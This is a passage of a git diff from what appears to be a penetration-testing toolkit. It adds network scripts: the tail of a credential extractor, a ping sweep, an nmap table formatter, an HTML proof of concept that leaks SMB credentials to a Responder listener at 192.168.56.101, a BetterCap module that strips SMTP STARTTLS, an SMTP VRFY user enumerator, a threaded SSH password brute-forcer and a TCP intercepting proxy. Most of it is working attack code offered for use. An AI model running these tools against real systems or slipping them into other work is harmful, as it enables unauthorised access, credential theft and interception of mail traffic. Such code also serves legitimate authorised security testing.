if len(regexes[technology][rex]) > maxRegexpWidth:
|
||||
maxRegexpWidth = len(regexes[technology][rex])
|
||||
|
||||
maxTechnologyWidth = maxTechnologyWidth + 3
|
||||
maxRegexpWidth = maxRegexpWidth + 3
|
||||
|
||||
if config['output'] == 'normal' or config['output'] == 'tabular':
|
||||
print('\n=== CREDENTIALS FOUND:')
|
||||
elif config['output'] == 'csv':
|
||||
print(config['csv_delimiter'].join(cols))
|
||||
|
||||
for result in results:
|
||||
technology, rex, creds = result
|
||||
if technology == 'Others': continue
|
||||
_print(technology, rex, creds)
|
||||
|
||||
if not config['no_others'] and (config['output'] == 'normal' or config['output'] == 'tabular'):
|
||||
print('\n=== BELOW LINES MAY BE FALSE POSITIVES:')
|
||||
|
||||
for result in results:
|
||||
technology, rex, creds = result
|
||||
if technology != 'Others': continue
|
||||
_print(technology, rex, creds)
|
||||
|
||||
def main(argv):
|
||||
Logger._out('''
|
||||
:: Network-configuration Credentials extraction script
|
||||
Mariusz B. / mgeeky, '18
|
||||
''')
|
||||
opts = parseOptions(argv)
|
||||
if not opts:
|
||||
Logger.err('Options parsing failed.')
|
||||
return False
|
||||
|
||||
count = 0
|
||||
for technology in regexes:
|
||||
count += len(regexes[technology])
|
||||
|
||||
Logger.info('Capable of matching: {} patterns containing credentials.'.format(count))
|
||||
|
||||
num = 0
|
||||
if os.path.isfile(opts.file):
|
||||
num = processFile(opts.file)
|
||||
elif os.path.isdir(opts.file):
|
||||
num = processDir(opts.file)
|
||||
else:
|
||||
Logger.err('Please provide either file or directory on input.')
|
||||
return False
|
||||
|
||||
printResults()
|
||||
|
||||
if config['output'] == 'normal' or config['output'] == 'tabular':
|
||||
print('\n[>] Found: {} credentials.'.format(num))
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
37
networks/nmap-grep-to-table.sh
Normal file
37
networks/nmap-grep-to-table.sh
Normal file
@ -0,0 +1,37 @@
|
||||
#!/bin/bash
|
||||
|
||||
#
|
||||
# Simple script converting nmap's greppable output into a
|
||||
# printable per-host table with protocol, port, state and service
|
||||
# columns in it.
|
||||
#
|
||||
|
||||
#
|
||||
# WARNING:
|
||||
# This script looks for gnmap (-oG) files within
|
||||
# current working directory (cwd)
|
||||
#
|
||||
|
||||
for host in $(find -name "*.gnmap" | sort -t'.' -n -k5)
|
||||
do
|
||||
if cat $host | grep -q "Status: Up" && cat $host | grep -q "Ports:"; then
|
||||
hostip=$(grep Ports $host | cut -d' ' -f2)
|
||||
ports=$(cat ${hostip}*.gnmap | grep Ports | cut -d: -f3 | sed 's:/, :\n:g' | awk '{$1=$1}1')
|
||||
|
||||
IFS=$'\n'
|
||||
|
||||
echo -e "\n\nHost: $hostip\n"
|
||||
echo -e "Proto\t| Port\t| State\t\t| Service"
|
||||
echo -e "----------------------------------------------------"
|
||||
|
||||
for port in $ports
|
||||
do
|
||||
proto=$(echo $port | cut -d/ -f3)
|
||||
portnum=$(echo $port | cut -d/ -f1)
|
||||
state=$(echo $port | cut -d/ -f2)
|
||||
service=$(echo $port | cut -d/ -f5)
|
||||
|
||||
printf "%s\t| %-5s\t| %-13s\t| %s\n" $proto $portnum $state $service
|
||||
done | sort -u -k3,3 -n
|
||||
fi
|
||||
done
|
39
networks/pingsweep.py
Normal file
39
networks/pingsweep.py
Normal file
@ -0,0 +1,39 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
import netaddr
|
||||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
from scapy.all import sr1, IP, ICMP
|
||||
|
||||
PING_TIMEOUT = 3
|
||||
IFACE='eth0'
|
||||
|
||||
if __name__ == '__main__':
|
||||
print '\tQuick Ping Sweep\n'
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print '[?] Usage: pingsweep <network>'
|
||||
sys.exit(0)
|
||||
|
||||
net = sys.argv[1]
|
||||
print 'Input network:', net
|
||||
|
||||
responding = []
|
||||
network = netaddr.IPNetwork(net)
|
||||
|
||||
for ip in network:
|
||||
if ip == network.network or ip == network.broadcast:
|
||||
continue
|
||||
|
||||
# Send & wait for response for the ICMP Echo Request packet
|
||||
reply = sr1( IP(dst=str(ip)) / ICMP(), timeout=PING_TIMEOUT, iface=IFACE, verbose=0 )
|
||||
|
||||
if not reply:
|
||||
continue
|
||||
|
||||
if int(reply.getlayer(ICMP).type) == 0 and int(reply.getlayer(ICMP).code) == 0:
|
||||
print ip, ': Host is responding to ICMP Echo Requests.'
|
||||
responding.append(ip)
|
||||
|
||||
print '[+] Spotted {} ICMP Echo Requests.'.format(len(responding))
|
6
networks/smb-credential-leak.html
Normal file
6
networks/smb-credential-leak.html
Normal file
@ -0,0 +1,6 @@
|
||||
<!-- PoC for leaking SMB Credentials with listening Responder -->
|
||||
<!-- as presented by X41 D-Sec GmbH in Browser Security White Paper. -->
|
||||
<!-- To be used as: $ `responder -I eth0 -w -r f -v` -->
|
||||
<body onmousemove="document.getElementById(6).click()">
|
||||
<a id=6 href="\\192.168.56.101\edgeleak" download></a>
|
||||
</body>
|
42
networks/smtpdowngrade.rb
Normal file
42
networks/smtpdowngrade.rb
Normal file
@ -0,0 +1,42 @@
|
||||
=begin
|
||||
Author : @mgeeky
|
||||
Email : mb@binary-offensive.com
|
||||
This project is released under the GPL 3 license.
|
||||
=end
|
||||
|
||||
class SMTPDowngrade < BetterCap::Proxy::TCP::Module
|
||||
meta(
|
||||
'Name' => 'SMTPDowngrade',
|
||||
'Description' => 'Downgrades SMTP encryption by returning deny to STARTTLS request.',
|
||||
'Version' => '1.0.0',
|
||||
'Author' => 'mgeeky - mb@binary-offensive.com - https://github.com/mgeeky',
|
||||
'License' => 'GPL3'
|
||||
)
|
||||
|
||||
def on_response(event)
|
||||
if @respondwith != nil
|
||||
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Lying that SMTP server does not support SSL/TLS."
|
||||
event.data = @respondwith
|
||||
@respondwith = nil
|
||||
end
|
||||
|
||||
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
|
||||
end
|
||||
|
||||
def on_data(event)
|
||||
@respondwith = smtp_parse_request(event)
|
||||
end
|
||||
|
||||
def smtp_parse_request(event)
|
||||
return nil if not event.data
|
||||
|
||||
if event.data =~ /^STARTTLS\s*\r\n/
|
||||
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command."
|
||||
@respondwith = "454 4.7.0 TLS not available due to local problem\r\n"
|
||||
|
||||
event.data = "HELP\r\n"
|
||||
end
|
||||
|
||||
BetterCap::Logger.raw "\n#{BetterCap::StreamLogger.hexdump( event.data )}\n"
|
||||
end
|
||||
end
|
98
networks/smtpvrfy.py
Normal file
98
networks/smtpvrfy.py
Normal file
@ -0,0 +1,98 @@
|
||||
#!/usr/bin/python
|
||||
#
|
||||
# Simple script intended to abuse SMTP server's VRFY command to leak
|
||||
# usernames having accounts registered within it.
|
||||
#
|
||||
# Mariusz B., 2016
|
||||
#
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import os
|
||||
|
||||
# Specify below your default, fallback wordlist
|
||||
DEFAULT_WORDLIST = '/root/data/fuzzdb/wordlists-user-passwd/names/namelist.txt'
|
||||
DEFAULT_TIMEOUT = 20
|
||||
|
||||
def interpret_smtp_status_code(resp):
|
||||
code = int(resp.split(' ')[0])
|
||||
messages = {
|
||||
250:'Requested mail action okay, completed',
|
||||
251:'User not local; will forward to <forward-path>',
|
||||
252:'Cannot VRFY user, but will accept message and attempt delivery',
|
||||
502:'Command not implemented',
|
||||
530:'Access denied (???a Sendmailism)',
|
||||
550:'Requested action not taken: mailbox unavailable',
|
||||
551:'User not local; please try <forward-path>',
|
||||
}
|
||||
|
||||
if code in messages.keys():
|
||||
return '({} {})'.format(code, messages[code])
|
||||
else:
|
||||
return '({} code unknown)'.format(code)
|
||||
|
||||
def vrfy(server, username, port, timeout, brute=False):
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout)
|
||||
|
||||
try:
|
||||
conn = s.connect((server, port))
|
||||
except socket.error, e:
|
||||
print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e))
|
||||
return False
|
||||
|
||||
try:
|
||||
print '[+] Service banner: "{}"'.format(s.recv(1024).strip())
|
||||
s.send('HELO test@test.com\r\n')
|
||||
print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip()
|
||||
|
||||
except socket.error, e:
|
||||
print '[!] Failed at initial session setup: "{}"'.format(str(e))
|
||||
return False
|
||||
|
||||
if brute:
|
||||
print '[?] Engaging brute-force enumeration...'
|
||||
|
||||
|
||||
if brute:
|
||||
for i in range(len(username)):
|
||||
user = username[i]
|
||||
s.send('VRFY ' + user + '\r\n')
|
||||
res = s.recv(1024).strip()
|
||||
print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format(
|
||||
i, len(username), server, port, user, interpret_smtp_status_code(res))
|
||||
else:
|
||||
s.send('VRFY ' + username + '\r\n')
|
||||
res = s.recv(1024).strip()
|
||||
|
||||
print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res)
|
||||
if 'User unknown' in res:
|
||||
print '[!] User not found.'
|
||||
elif (res.startswith('25') and username in res and '<' in res and '>' in res):
|
||||
print '[+] User found: "{}"'.format(res.strip())
|
||||
else:
|
||||
print '[?] Response: "{}"'.format(res.strip())
|
||||
|
||||
s.close()
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) < 2:
|
||||
print '[?] Usage: smtpvrfy.py <smtpserver> [username|wordlist] [timeout]'
|
||||
print '\t(to specify a port provide it after a colon \':\' in server parameter)'
|
||||
sys.exit(0)
|
||||
|
||||
server = sys.argv[1]
|
||||
port = 25 if ':' not in server else int(server[server.find(':')+1:])
|
||||
username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST
|
||||
timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3])
|
||||
|
||||
if os.path.isfile(username):
|
||||
names = []
|
||||
with open(username, 'r') as f:
|
||||
for a in f:
|
||||
names.append(a.strip())
|
||||
print '[>] Provided wordlist file with {} entries.'.format(len(names))
|
||||
vrfy(server, names, port, timeout, brute=True)
|
||||
else:
|
||||
vrfy(server, username, port, timeout)
|
74
networks/sshbrute.py
Normal file
74
networks/sshbrute.py
Normal file
@ -0,0 +1,74 @@
|
||||
#
|
||||
# Pxssh driven SSH brute-forcing script.
|
||||
# Based on:
|
||||
# Violent Python, by TJ O'Connor
|
||||
#
|
||||
|
||||
import pxssh
|
||||
import time
|
||||
import optparse
|
||||
from sys import argv, exit, stdout
|
||||
from threading import *
|
||||
|
||||
MAX_CONNS = 5
|
||||
CONN_LOCK = BoundedSemaphore(value=MAX_CONNS)
|
||||
FOUND = False
|
||||
FAILS = 0
|
||||
|
||||
def send_command(s, cmd):
|
||||
s.sendline(cmd)
|
||||
s.prompt()
|
||||
print s.before
|
||||
|
||||
def connect(host, user, password, release):
|
||||
global FOUND
|
||||
global FAILS
|
||||
try:
|
||||
s = pxssh.pxssh()
|
||||
s.login(host, user, password)
|
||||
print '\n\n[+] Password found: ' + password + '\n\n'
|
||||
FOUND = True
|
||||
return s
|
||||
except Exception, e:
|
||||
if 'read_nonblocking' in str(e):
|
||||
FAILS += 1
|
||||
time.sleep(3)
|
||||
connect(host, user, password, False)
|
||||
elif 'synchronize with original prompt' in str(e):
|
||||
time.sleep(1)
|
||||
connect(host, user, password, False)
|
||||
finally:
|
||||
if release:
|
||||
CONN_LOCK.release()
|
||||
|
||||
def main():
|
||||
|
||||
if len(argv) < 4:
|
||||
print 'Usage: sshbrute.py host user passwords_list'
|
||||
return
|
||||
|
||||
host = argv[1]
|
||||
user = argv[2]
|
||||
passwords = [ p.strip() for p in open(argv[3]).readlines()]
|
||||
|
||||
i = 0
|
||||
for p in passwords:
|
||||
i += 1
|
||||
if FOUND:
|
||||
print '[*] Password found.'
|
||||
exit(0)
|
||||
if FAILS > 5:
|
||||
print '[!] Exiting: Too many socket timeouts'
|
||||
exit(0)
|
||||
|
||||
CONN_LOCK.acquire()
|
||||
stdout.write('[?] Trying: "%s" %d/%d (%.2f%%)\r' % \
|
||||
(p, i, len(passwords), float(i)/len(passwords)))
|
||||
stdout.flush()
|
||||
t = Thread(target=connect, args=(host, user, p, True))
|
||||
t.start()
|
||||
|
||||
stdout.write('\n')
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
264
networks/tcpproxy.py
Normal file
264
networks/tcpproxy.py
Normal file
@ -0,0 +1,264 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
import socket
|
||||
import argparse
|
||||
import threading
|
||||
|
||||
config = {
|
||||
'debug': False,
|
||||
'verbose': False,
|
||||
'timeout' : 5.0,
|
||||
}
|
||||
|
||||
# =========================================================
|
||||
# CUSTOM ANALYSIS, FUZZING, INTERCEPTION ROUTINES.
|
||||
|
||||
def requestHandler(buff):
|
||||
'''
|
||||
Modify any requests destined for the REMOTE host service.
|
||||
'''
|
||||
return buff
|
||||
|
||||
|
||||
def responseHandler(buff):
|
||||
'''
|
||||
Modify any responses destined for the LOCAL host service.
|
||||
'''
|
||||
return buff
|
||||
|
||||
# =========================================================
|
||||
|
||||
class Logger:
|
||||
@staticmethod
|
||||
def _out(x):
|
||||
if config['debug'] or config['verbose']:
|
||||
sys.stderr.write(x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def dbg(x):
|
||||
if config['debug']:
|
||||
sys.stderr.write('[dbg] ' + x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def out(x):
|
||||
Logger._out('[.] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def info(x):
|
||||
Logger._out('[?] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def err(x, fatal = False):
|
||||
Logger._out('[!] ' + x)
|
||||
if fatal: sys.exit(-1)
|
||||
|
||||
@staticmethod
|
||||
def fail(x, fatal = False):
|
||||
Logger._out('[-] ' + x)
|
||||
if fatal: sys.exit(-1)
|
||||
|
||||
@staticmethod
|
||||
def ok(x):
|
||||
Logger._out('[+] ' + x)
|
||||
|
||||
def hexdump(src, length = 16):
|
||||
result = []
|
||||
digits = 4 if isinstance(src, unicode) else 2
|
||||
num = len(src)
|
||||
|
||||
for i in range(0, num, length):
|
||||
s = src[i:i+length]
|
||||
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
|
||||
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
|
||||
|
||||
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
|
||||
|
||||
return str(b'\n'.join(result))
|
||||
|
||||
def recvFrom(sock):
|
||||
'''
|
||||
Simple recvAll based on timeout exception.
|
||||
'''
|
||||
buff = ''
|
||||
sock.settimeout(config['timeout'])
|
||||
|
||||
try:
|
||||
while True:
|
||||
data = sock.recv(4096)
|
||||
if not data: break
|
||||
|
||||
buff += data
|
||||
except:
|
||||
pass
|
||||
|
||||
return buff
|
||||
|
||||
def proxyHandler(clientSock, remoteHost, remotePort, recvFirst):
|
||||
Logger.dbg('Connecting to REMOTE service: {}:{}'.format(remoteHost, remotePort))
|
||||
|
||||
try:
|
||||
remoteSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
remoteSock.settimeout(config['timeout'])
|
||||
remoteSock.connect((remoteHost, remotePort))
|
||||
|
||||
Logger.dbg('Connected.')
|
||||
|
||||
except Exception as e:
|
||||
Logger.err('TCP Proxy was unable to connect to REMOTE service: {}:{}'.format(
|
||||
remoteHost, remotePort), fatal = True
|
||||
)
|
||||
|
||||
if recvFirst:
|
||||
remoteBuff = recvFrom(remoteSock)
|
||||
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
|
||||
Logger.dbg('Remote service Recv buff BEFORE responseHandler:\n' + hexdump(remoteBuff))
|
||||
|
||||
remoteBuffOrig = remoteBuff
|
||||
remoteBuff = responseHandler(remoteBuff)
|
||||
|
||||
if remoteBuff != remoteBuffOrig:
|
||||
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
|
||||
len(remoteBuffOrig, remoteBuff)))
|
||||
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
|
||||
|
||||
if len(remoteBuff):
|
||||
Logger.info('[<==] Sending {} bytes to LOCAL service.'.format(len(remoteBuff)))
|
||||
clientSock.send(remoteBuff)
|
||||
|
||||
# Send & Receive / Proxy loop
|
||||
while True:
|
||||
|
||||
# LOCAL part
|
||||
localBuff = recvFrom(clientSock)
|
||||
if len(localBuff):
|
||||
Logger.info('[==>] Received {} bytes from LOCAL service.'.format(len(localBuff)))
|
||||
Logger.dbg('Local service Recv buff:\n' + hexdump(localBuff))
|
||||
|
||||
localBuffOrig = localBuff
|
||||
localBuff = requestHandler(localBuff)
|
||||
|
||||
if localBuff != localBuffOrig:
|
||||
Logger.dbg('Buffer to be sent to REMOTE service modified. Lengths: {} -> {}'.format(
|
||||
len(localBuffOrig, localBuff)))
|
||||
Logger.dbg('Local service Recv buff AFTER requestHandler:\n' + hexdump(localBuff))
|
||||
|
||||
remoteSock.send(localBuff)
|
||||
Logger.info('[==>] Sent to REMOTE service.')
|
||||
|
||||
# REMOTE part
|
||||
remoteBuff = recvFrom(remoteSock)
|
||||
if len(remoteBuff):
|
||||
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
|
||||
Logger.dbg('Remote service Recv buff:\n' + hexdump(remoteBuff))
|
||||
|
||||
remoteBuffOrig = remoteBuff
|
||||
remoteBuff = responseHandler(remoteBuff)
|
||||
|
||||
if remoteBuff != remoteBuffOrig:
|
||||
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
|
||||
len(remoteBuffOrig, remoteBuff)))
|
||||
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
|
||||
|
||||
clientSock.send(remoteBuff)
|
||||
Logger.info('[<==] Sent to LOCAL service.')
|
||||
|
||||
if not len(localBuff) or not len(remoteBuff):
|
||||
clientSock.close()
|
||||
remoteSock.close()
|
||||
|
||||
Logger.info('No more data. Closing connections.')
|
||||
break
|
||||
|
||||
def serverLoop(localHost, localPort, remoteHost, remotePort, receiveFirst):
|
||||
serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
serv.bind((localHost, localPort))
|
||||
Logger.ok('TCP Proxy listening on: {}:{}'.format(localHost, localPort))
|
||||
|
||||
serv.listen(5)
|
||||
|
||||
except Exception as e:
|
||||
Logger.err('TCP Proxy server was unable to bound to {}:{}'.format(localHost, localPort), fatal = True)
|
||||
|
||||
while True:
|
||||
clientSock, addr = serv.accept()
|
||||
Logger.info('[==>] Received incoming connection from: {}:{}'.format(addr[0], addr[1]))
|
||||
proxyThread = threading.Thread(
|
||||
target = proxyHandler,
|
||||
args = (
|
||||
clientSock,
|
||||
remoteHost,
|
||||
remotePort,
|
||||
receiveFirst
|
||||
)
|
||||
)
|
||||
|
||||
proxyThread.start()
|
||||
|
||||
def processOpts(argv):
|
||||
global config
|
||||
|
||||
usageStr = '''
|
||||
tcpproxy.py [options] <LOCAL> <REMOTE>
|
||||
|
||||
Example:
|
||||
tcpproxy.py 127.0.0.1:9000 192.168.56.102:9000
|
||||
'''
|
||||
|
||||
parser = argparse.ArgumentParser(prog = argv[0], usage = usageStr)
|
||||
parser.add_argument('localhost', metavar='LOCAL', type=str,
|
||||
help = 'Local service to proxy (host:port)')
|
||||
parser.add_argument('remotehost', metavar='REMOTE', type=str,
|
||||
help = 'Remote service to proxy to (host:port)')
|
||||
parser.add_argument('-r', '--recvfirst', dest='recvfirst', action='store_true', default = False,
|
||||
help='Make the proxy first receive something, than respond.')
|
||||
parser.add_argument('-t', '--timeout', metavar='timeout', dest='timeout', default = config['timeout'],
|
||||
help='Specifies service connect & I/O timeout. Default: {}.'.format(config['timeout']))
|
||||
parser.add_argument('-v', '--verbose', dest='verbose', action='store_true',
|
||||
help='Show verbose output.')
|
||||
parser.add_argument('-d', '--debug', dest='debug', action='store_true',
|
||||
help='Show more verbose, debugging output.')
|
||||
|
||||
if len(sys.argv[1:]) < 2:
|
||||
parser.print_help()
|
||||
sys.exit(0)
|
||||
|
||||
args = parser.parse_args()
|
||||
if args.debug:
|
||||
config['debug'] = args.debug
|
||||
if args.verbose:
|
||||
config['verbose'] = args.verbose
|
||||
config['timeout'] = float(args.timeout)
|
||||
Logger.dbg('Timeout set to: {} seconds.'.format(args.timeout))
|
||||
|
||||
return (args.localhost, args.remotehost, args.recvfirst)
|
||||
|
||||
def main():
|
||||
local, remote, recvfirst = processOpts(sys.argv)
|
||||
localHost, localPort = local.split(':')
|
||||
remoteHost, remotePort = remote.split(':')
|
||||
|
||||
try:
|
||||
localPort = int(localPort)
|
||||
if localPort < 0 or localPort > 65535:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
Logger.err('Invalid LOCAL port specified.', fatal = True)
|
||||
|
||||
try:
|
||||
remotePort = int(remotePort)
|
||||
if remotePort < 0 or remotePort > 65535:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
Logger.err('Invalid LOCAL port specified.', fatal = True)
|
||||
|
||||
Logger.info('Proxying: {}:{} => {}:{}'.format(
|
||||
localHost, localPort, remoteHost, remotePort
|
||||
))
|
||||
|
||||
serverLoop(localHost, localPort, remoteHost, remotePort, recvfirst)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Reference in New Issue
Block a user